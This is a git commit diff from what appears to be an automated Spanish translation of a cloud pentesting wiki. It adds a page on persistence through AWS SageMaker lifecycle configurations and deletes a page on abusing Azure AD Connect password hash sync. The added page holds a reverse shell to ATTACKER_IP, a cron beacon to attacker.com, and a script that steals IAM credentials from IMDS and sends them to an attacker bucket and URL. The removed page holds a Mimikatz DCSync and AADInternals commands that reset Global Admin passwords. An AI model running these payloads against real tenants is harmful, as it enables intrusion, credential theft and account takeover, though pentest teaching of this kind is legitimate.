Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem

This commit is contained in:
Translator
2025-07-22 12:36:01 +00:00
parent 1771e61e05
commit 80d4398795
5 changed files with 262 additions and 117 deletions

View File

@@ -0,0 +1,156 @@
# AWS - SageMaker Lifecycle Configuration Persistence
## Overview of Persistence Techniques
Esta sección describe métodos para obtener persistencia en SageMaker abusando de las Configuraciones de Ciclo de Vida (LCCs), incluyendo shells inversos, trabajos cron, robo de credenciales a través de IMDS y puertas traseras SSH. Estos scripts se ejecutan con el rol IAM de la instancia y pueden persistir a través de reinicios. La mayoría de las técnicas requieren acceso a la red saliente, pero el uso de servicios en el plano de control de AWS aún puede permitir el éxito si el entorno está en modo 'VPC-only'.
#### Nota: Las instancias de cuadernos de SageMaker son esencialmente instancias EC2 gestionadas configuradas específicamente para cargas de trabajo de aprendizaje automático.
## Required Permissions
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Aplicaciones de Studio:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## Configurar la Configuración del Ciclo de Vida en Instancias de Notebook
### Ejemplo de Comandos de AWS CLI:
```bash
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## Configuración del Ciclo de Vida en SageMaker Studio
Las Configuraciones del Ciclo de Vida se pueden adjuntar a varios niveles y a diferentes tipos de aplicaciones dentro de SageMaker Studio.
### Nivel de Dominio de Studio (Todos los Usuarios)
```bash
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### Nivel de Espacio de Estudio (Espacios Individuales o Compartidos)
```bash
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Tipos de Configuraciones del Ciclo de Vida de la Aplicación de Studio
Las configuraciones del ciclo de vida se pueden aplicar específicamente a diferentes tipos de aplicaciones de SageMaker Studio:
* JupyterServer: Ejecuta scripts durante el inicio del servidor Jupyter, ideal para mecanismos de persistencia como shells inversos y trabajos cron.
* KernelGateway: Se ejecuta durante el lanzamiento de la aplicación del gateway de kernel, útil para la configuración inicial o el acceso persistente.
* CodeEditor: Se aplica al Editor de Código (Code-OSS), habilitando scripts que se ejecutan al inicio de las sesiones de edición de código.
### Comando de Ejemplo para Cada Tipo:
### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### CodeEditor
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### Información Crítica:
* Adjuntar LCCs a nivel de dominio o espacio impacta a todos los usuarios o aplicaciones dentro del alcance.
* Requiere permisos más altos (sagemaker:UpdateDomain, sagemaker:UpdateSpace) que típicamente son más factibles a nivel de espacio que a nivel de dominio.
* Controles a nivel de red (por ejemplo, filtrado de salida estricto) pueden prevenir shells reversos exitosos o exfiltración de datos.
## Shell Reverso a través de Configuración de Ciclo de Vida
Las Configuraciones de Ciclo de Vida de SageMaker (LCCs) ejecutan scripts personalizados cuando las instancias de notebook se inician. Un atacante con permisos puede establecer un shell reverso persistente.
### Ejemplo de Payload:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Persistencia de Cron Job a través de la Configuración del Ciclo de Vida
Un atacante puede inyectar trabajos cron a través de scripts de LCC, asegurando la ejecución periódica de scripts o comandos maliciosos, lo que permite una persistencia sigilosa.
### Ejemplo de Payload:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## Exfiltración de Credenciales a través de IMDS (v1 y v2)
Las configuraciones de ciclo de vida pueden consultar el Servicio de Metadatos de Instancia (IMDS) para recuperar credenciales de IAM y exfiltrarlas a una ubicación controlada por el atacante.
### Ejemplo de Payload:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```

View File

@@ -1,114 +0,0 @@
# Az - PHS - Sincronización de Hash de Contraseña
{{#include ../../../../banners/hacktricks-training.md}}
## Información Básica
[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr la identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
Es el **método más común** utilizado por las empresas para sincronizar un AD local con Azure AD.
Todos los **usuarios** y un **hash de los hashes de contraseña** se sincronizan desde el local a Azure AD. Sin embargo, las **contraseñas en texto claro** o los **hashes** **originales** no se envían a Azure AD.\
Además, los grupos de seguridad **integrados** (como administradores de dominio...) **no se sincronizan** con Azure AD.
La **sincronización de hashes** ocurre cada **2 minutos**. Sin embargo, por defecto, la **expiración de contraseñas** y la **expiración de cuentas** **no se sincronizan** en Azure AD. Por lo tanto, un usuario cuya **contraseña local ha expirado** (no cambiada) puede continuar **accediendo a recursos de Azure** usando la contraseña antigua.
Cuando un usuario local quiere acceder a un recurso de Azure, la **autenticación se realiza en Azure AD**.
**PHS** es necesario para características como **Protección de Identidad** y Servicios de Dominio AAD.
## Pivotando
Cuando PHS está configurado, algunas **cuentas privilegiadas** se crean automáticamente:
- La cuenta **`MSOL_<installationID>`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Cuentas de Sincronización de Directorio** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**.
- Se crea una cuenta **`Sync_<nombre del servidor ADConnect local>_installationID`** en Azure AD. Esta cuenta puede **restablecer la contraseña de CUALQUIER usuario** (sincronizado o solo en la nube) en Azure AD.
Las contraseñas de las dos cuentas privilegiadas anteriores se **almacenan en un servidor SQL** en el servidor donde **Azure AD Connect está instalado.** Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto claro.\
La base de datos se encuentra en `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
Es posible extraer la configuración de una de las tablas, siendo una de ellas encriptada:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
La **configuración encriptada** está encriptada con **DPAPI** y contiene las **contraseñas del usuario `MSOL_*`** en el AD local y la contraseña de **Sync\_\*** en AzureAD. Por lo tanto, comprometer estas es posible para elevar privilegios en el AD y en AzureAD.
Puedes encontrar una [visión general completa de cómo se almacenan y desencriptan estas credenciales en esta charla](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Encontrando el **servidor de Azure AD connect**
Si el **servidor donde está instalado Azure AD connect** está unido al dominio (recomendado en la documentación), es posible encontrarlo con:
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Abusando de MSOL\_*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
> También puedes usar [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) para obtener estas credenciales.
### Abusando de Sync\_\*
Comprometer la cuenta **`Sync_*`** permite **restablecer la contraseña** de cualquier usuario (incluidos los Administradores Globales)
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
También es posible **modificar las contraseñas de solo los usuarios de la nube** (incluso si eso es inesperado)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
También es posible volcar la contraseña de este usuario.
> [!CAUTION]
> Otra opción sería **asignar permisos privilegiados a un principal de servicio**, que el usuario **Sync** tiene **permisos** para hacer, y luego **acceder a ese principal de servicio** como una forma de privesc.
### Seamless SSO
Es posible usar Seamless SSO con PHS, que es vulnerable a otros abusos. Revísalo en:
{{#ref}}
seamless-sso.md
{{#endref}}
## Referencias
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
{{#include ../../../../banners/hacktricks-training.md}}